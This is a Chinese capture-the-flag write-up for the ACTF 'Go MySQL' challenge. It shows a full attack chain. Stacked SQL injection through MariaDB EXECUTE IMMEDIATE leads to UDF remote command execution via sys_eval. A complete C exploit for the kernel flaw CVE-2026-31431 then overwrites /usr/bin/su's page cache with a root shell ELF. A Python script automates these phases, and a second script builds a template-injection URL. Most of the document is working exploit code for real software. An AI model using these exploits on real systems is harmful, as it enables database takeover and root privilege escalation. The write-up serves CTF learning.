actf gomysql复现

Go MySQL

我立个更新内核了 CVE-2026-31431用不了了

只能采用模板注入的方法了

其实这个题两种方法前面都一样

进入发现有两个功能一个是/calc (计算器)和 /draw(抽取幸运数字)

先是calc的sql注入

可以发现是Go + MariaDB

wp的关键是MariaDB 10.11 支持 EXECUTE IMMEDIATE 语句,且该关键字未被过滤

通过该函数可以rce 但权限不够 读取不到flag

接下来就是不同了

CVE-2026-31431

先利用lib_mysqludf_sys_64.so

lib_mysqludf_sys_64.so 是 Metasploit 框架自带的一个 64 位 Linux 共享库文件,

它的核心作用是在 UDF(用户自定义函数)提权技术中,为 MySQL 数据库扩展执行任意系统命令的能力,

从而帮助渗透测试人员提升在目标系统上的权限

UDF 的全称是 User Defined Function,即用户自定义函数。这是 MySQL 数据库提供的一个功能接口,

允许开发者用 C/C++ 编写 MySQL 原生不支持的函数

原理是注入命令执行函数:

将 lib_mysqludf_sys_64.so 文件上传到目标的 MySQL 插件目录后,通过 CREATE FUNCTION 语句将内部的 sys_eval 或 sys_exec 函数注册到 MySQL 中。

执行系统命令:之后,你就可以像调用普通的 MySQL 函数一样,通过 SELECT sys_eval('命令') 来让目标服务器执行系统命令了。

常用的函数有

sys_eval():可以执行任意系统命令,并将命令的输出结果作为字符串返回,方便你查看命令执行的反馈。

sys_exec():同样是执行任意系统命令,但它返回的是命令执行后的退出码(通常 0 表示成功),而不是输出结果。它通常用来在后台静默执行像反弹 Shell 这类操作

也可以算第一步 也是rce的过程 这里发现sql的权限不够 无法读取到flag

然后是CVE-2026-31431

利用 Linux 内核 algif_aead 模块的 authencesn 加密模板中的逻辑

缺陷,通过 splice 系统调用污染 SUID 二进制文件( /usr/bin/su )的 page cache,将其覆

写为一个执行 setuid(0) + execve("/bin/sh") 的 160 字节 ELF,从而获取 root 权限读取

/flag

编译一下

cs 复制代码
// cf2.c - CVE-2026-31431 (Copy Fail) exploit
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

// setuid(0) + execve("/bin/sh") 的 160 字节 ELF payload
static unsigned char payload[] = {
    0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
    0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x9e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,
    0x31,0xc0,0x31,0xff,0xb0,0x69,0x0f,0x05,
    0x48,0x8d,0x3d,0x0f,0x00,0x00,0x00,
    0x31,0xf6,0x6a,0x3b,0x58,0x99,0x0f,0x05,
    0x31,0xff,0x6a,0x3c,0x58,0x0f,0x05,
    0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00
};

static void w(int fd, int off, unsigned char *d, int dl)
{
    int a, o, p[2];
    struct sockaddr_alg sa = {
        .salg_family = 38,
        .salg_type   = "aead",
        .salg_name   = "authencesn(hmac(sha256),cbc(aes))"
    };

    a = socket(38, 5, 0);
    if (a < 0) { perror("sock"); exit(1); }
    if (bind(a, (void*)&sa, sizeof(sa)) < 0) { perror("bind"); exit(1); }

    unsigned char k[40] = {8, 0, 1, 0, 0, 0, 0, 0x10};
    setsockopt(a, SOL_ALG, 1, k, 40);
    setsockopt(a, SOL_ALG, 5, NULL, 4);

    o = accept(a, NULL, 0);
    if (o < 0) { perror("acc"); exit(1); }

    int sl = off + 4;
    unsigned char op[4] = {0}, iv[20] = {0x10}, as[4] = {8};
    struct msghdr m = {0};
    struct iovec v;
    unsigned char b[8] = {'A', 'A', 'A', 'A'};

    memcpy(b + 4, d, dl < 4 ? dl : 4);
    v.iov_base = b;
    v.iov_len  = 4 + (dl < 4 ? dl : 4);

    char cb[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)] = {0};
    m.msg_control    = cb;
    m.msg_controllen = sizeof(cb);
    m.msg_iov        = &v;
    m.msg_iovlen     = 1;

    struct cmsghdr *c = CMSG_FIRSTHDR(&m);
    c->cmsg_level = SOL_ALG; c->cmsg_type = 3;
    c->cmsg_len   = CMSG_LEN(4); memcpy(CMSG_DATA(c), op, 4);

    c = CMSG_NXTHDR(&m, c);
    c->cmsg_level = SOL_ALG; c->cmsg_type = 2;
    c->cmsg_len   = CMSG_LEN(20); memcpy(CMSG_DATA(c), iv, 20);

    c = CMSG_NXTHDR(&m, c);
    c->cmsg_level = SOL_ALG; c->cmsg_type = 4;
    c->cmsg_len   = CMSG_LEN(4); memcpy(CMSG_DATA(c), as, 4);

    sendmsg(o, &m, MSG_MORE);

    pipe(p);
    loff_t so = 0;
    splice(fd, &so, p[1], NULL, sl, 0);
    splice(p[0], NULL, o, NULL, sl, 0);

    char rb[8192];
    recv(o, rb, 8 + off, 0);

    close(p[0]); close(p[1]); close(o); close(a);
}

int main(void)
{
    int fd = open("/usr/bin/su", O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    int pl = sizeof(payload);
    fprintf(stderr, "[*] CVE-2026-31431 patching su (%d bytes)\n", pl);

    for (int i = 0; i < pl; i += 4)
        w(fd, i, payload + i, pl - i < 4 ? pl - i : 4);

    close(fd);
    fprintf(stderr, "[+] Done. Reading /flag .\n");
    system("echo 'cat /flag' | /usr/bin/su");
    return 0;
}

脚本

python 复制代码
import requests
import re
import sys

URL = ''
TIMEOUT = 120


def exec_sql(sql):
    """通过 EXECUTE IMMEDIATE char(...) 绕过所有过滤执行任意SQL"""
    chars = ','.join(str(ord(c)) for c in sql)
    payload = f'1;execute immediate char({chars})'
    r = requests.post(URL, data={'expression': payload}, timeout=TIMEOUT)
    return r.text


def run_cmd(cmd):
    """通过 sys_eval UDF 执行系统命令"""
    cmd_escaped = cmd.replace("'", "'\"'\"'")
    sql = f"SELECT sys_eval('{cmd_escaped}')"
    text = exec_sql(sql)
    lis = re.findall(r'<li>(.*?)</li>', text)
    for li in lis:
        m = re.search(r'\[([\d ]+)\]', li)
        if m:
            nums = m.group(1).split()
            return ''.join(chr(int(n)) for n in nums)
    return None


# ==================== Phase 1: 建立 UDF RCE ====================
print("[*] Phase 1: 上传 UDF 获取命令执行.\n")

# 读取 Metasploit 的 lib_mysqludf_sys_64.so
udf_path = '/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so'
with open(udf_path, 'rb') as f:
    udf_data = f.read()
hex_str = udf_data.hex()

# 写入 UDF .so 到 plugin 目录
sql = f"SELECT UNHEX('{hex_str}') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'"
exec_sql(sql)

# 创建 sys_eval 函数
exec_sql("CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'")

# 验证 RCE
test = run_cmd("id")
print(f"  id: {test}")
if not test or 'uid=' not in test:
    print("[-] RCE 失败")
    sys.exit(1)
print("[+] RCE 建立成功!")

# ==================== Phase 2: 上传提权 exploit ====================
print("[*] Phase 2: 上传 CVE-2026-31431 exploit.\n")

with open('cf2', 'rb') as f:
    exp_data = f.read()
hex_str = exp_data.hex()

# 清理旧文件
run_cmd("rm -f /tmp/cf2_exp")

# 通过 DUMPFILE 写入 exploit 二进制
sql = f"SELECT UNHEX('{hex_str}') INTO DUMPFILE '/tmp/cf2_exp'"
exec_sql(sql)

# 设置执行权限
run_cmd("chmod +x /tmp/cf2_exp")

# 验证上传
verify = run_cmd("ls -la /tmp/cf2_exp")
print(f"  上传验证: {verify}")

# ==================== Phase 3: 执行提权获取 flag ====================
print("[*] Phase 3: 执行提权 exploit.\n")

result = run_cmd("/tmp/cf2_exp 2>&1")
print(f"  Result: {result}")

# 提取 flag
if 'ACTF{' in result or 'flag{' in result:
    flag = re.search(r'(ACTF\{[^}]+\}|flag\{[^}]+\})', result)
    if flag:
        print(f"\n[+] FLAG: {flag.group(1)}")
else:
    print(f"  完整输出: {result}")

模板注入

由于直接写入 run() 会被拦截,脚本利用 嵌套变量引用 将代码拆散:

name = "<<%n1%" → 引用 n1

n1 = "%n2%" → 引用 n2

n2 = "\%n3%" → 引用 n3(\% 是转义写法,传给模板时变成 %n3%)

n3 = "%n4%" → 引用 n4

n4 = "strrot(%" → 给 strrot 函数的开头

</b></h1>

<p class="number">Your number today: <b><\ draw_number(%name

它在页面上注入了一个伪造的 <p> 标签,并通过 draw_number(%name 触发对 %name% 变量的解析,从而启动整条变量链。

strrot(<ROT47编码的cat /flag payload>)

模板引擎执行 strrot() 解码得到 /><\run('cat /flag');unsafe/>,然后 run() 被执行,读取 /flag 文件。

攻击图示

URL 参数 → 模板引擎解析 %name%

→ 链式展开: %n1% → %n2% → %n3% → %n4%

→ 拼接为: strrot( <rotated_payload> )

→ ROT47 解码 → run('cat /flag')

→ 获取 flag

脚本

python 复制代码
import urllib.parse


def strrot(s):
    """ROT47 编码/解码"""
    return ''.join(chr(33 + ((ord(c)-33+47)%94)) if 33<=ord(c)<=126 else c for c in s)

# 编码命令
encoded = strrot("/><\\run('cat /flag');unsafe/>")
# 解码用同一个函数(ROT47 是对称的)
decoded = strrot(encoded)


def gen_url(target_base, command="cat /flag"):
    unsafe = f"/><\\run('{command}');unsafe/>"
    rotated = strrot(unsafe)
    vars_payload = {
        "name": "<<%n1%",
        "n1": "%n2%",
        "n2": r"\\%n3%",
        "n3": "%n4%",
        "n4": "strrot(%",
        ' </b></h1>\n    <p class="number">Your number today: <b><\\ draw_number(%name': rotated,
    }
    pairs = [(urllib.parse.quote(k, safe=''), urllib.parse.quote(v, safe=''))
             for k, v in vars_payload.items()]
    return target_base + "draw?" + "&".join(f"{k}={v}" for k, v in pairs)

if __name__ == "__main__":
    print(gen_url("http://web-9982fbe014.adworld.xctf.org.cn/"))

模板引擎遇到 %name% 时,不是一次性展开,而是分层解析:

第1轮: %name% → <<%n1% (n1 还是变量引用,触发下一轮)

第2轮: %n1% → %n2% (n2 还是变量引用,继续)

第3轮: %n2% → \%n3% (关键!\ 转义了 %,%n3% 变成字面量文本)

第4轮: 现在字符串是 <<\%n3%,引擎再次扫描 → 发现 %n3% → %n4%

第5轮: %n4% → strrot(%

n2 = "\\%n3%" ≠ n2 = "%n3%"

如果 n2 没有 \\:

%name% → %n1% → %n2% → %n3% → %n4% → strrot(%

↑ 一次性全展开了,得到扁平的 "strrot(%"

引擎不会把它当函数来调用,只是一段文本

\\ 的作用就是打断一次性展开------让 %n3% 在这一轮被转义为字面量 %n3%,下一轮才被解析。这样每轮的结果是新模板代码而非纯文本,引擎会重新解析新代码,从而触发函数调用。

<< 在这里是 "重新解析" 的标志

相关推荐
Yeyu1 小时前
刷新一帧的艺术:invalidate / postInvalidate / postInvalidateOnAnimation全解析
android
潘潘潘3 小时前
Android OTA 升级原理和流程介绍
android
plainGeekDev9 小时前
null 判断 → Kotlin 可空类型
android·java·kotlin
plainGeekDev9 小时前
getter/setter → Kotlin 属性
android·java·kotlin
YXL1111YXL10 小时前
Handler 消息回收与协程异步执行的时序陷阱
android
恋猫de小郭11 小时前
KMP / CMP 鸿蒙版本 Beta 发布,他有什么特别之处?
android·前端·flutter
三少爷的鞋11 小时前
Android 协程并发控制:别动线程池,控制好并发语义就够了
android
weiggle1 天前
第七篇:状态提升与单向数据流——架构设计的核心
android
xingpanvip1 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
goldenrolan1 天前
A公司物料替代测试系统 v1.7:从需求到 exe/apk 的 AI 辅助全链路实践
android·自动化测试·软件测试·python·ai